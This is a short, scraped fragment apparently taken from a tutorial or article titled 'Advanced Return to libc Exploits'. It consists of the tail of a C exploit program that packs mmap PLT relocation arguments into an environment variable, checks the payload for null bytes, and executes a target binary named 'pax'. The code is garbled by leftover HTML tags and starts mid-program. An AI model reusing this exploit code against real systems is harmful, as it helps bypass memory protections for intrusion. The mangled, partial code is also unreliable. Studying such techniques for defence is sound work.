Advanced Return to libc Exploits
Advanced Return to libc Exploits
Advanced Return to libc Exploits
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}<br />
<br />
offse<strong>to</strong>f(struct ourbuf, mymmap) +<br />
offse<strong>to</strong>f(struct mmap_plt_args, reloc_offset) + 3, 7);<br />
strcpy(str, "STR=");<br />
memcpy(str + 4, &thebuf, sizeof(thebuf));<br />
str[4 + sizeof(thebuf)] = 0;<br />
if (sizeof(struct ourbuf) + 4 ><br />
strlen(str) + sizeof(thebuf.mmapname)) {<br />
fprintf(stderr,<br />
"Zeroes in the payload, sizeof=%d, len=%d, correct it !\n",<br />
sizeof(struct ourbuf) + 4, strlen(str));<br />
fprintf(stderr, "sizeof thebuf.mmapname=%d\n",<br />
sizeof(thebuf.mmapname));<br />
exit(1);<br />
}<br />
execle("./pax", "pax", 0, env, 0);<br />
return 1;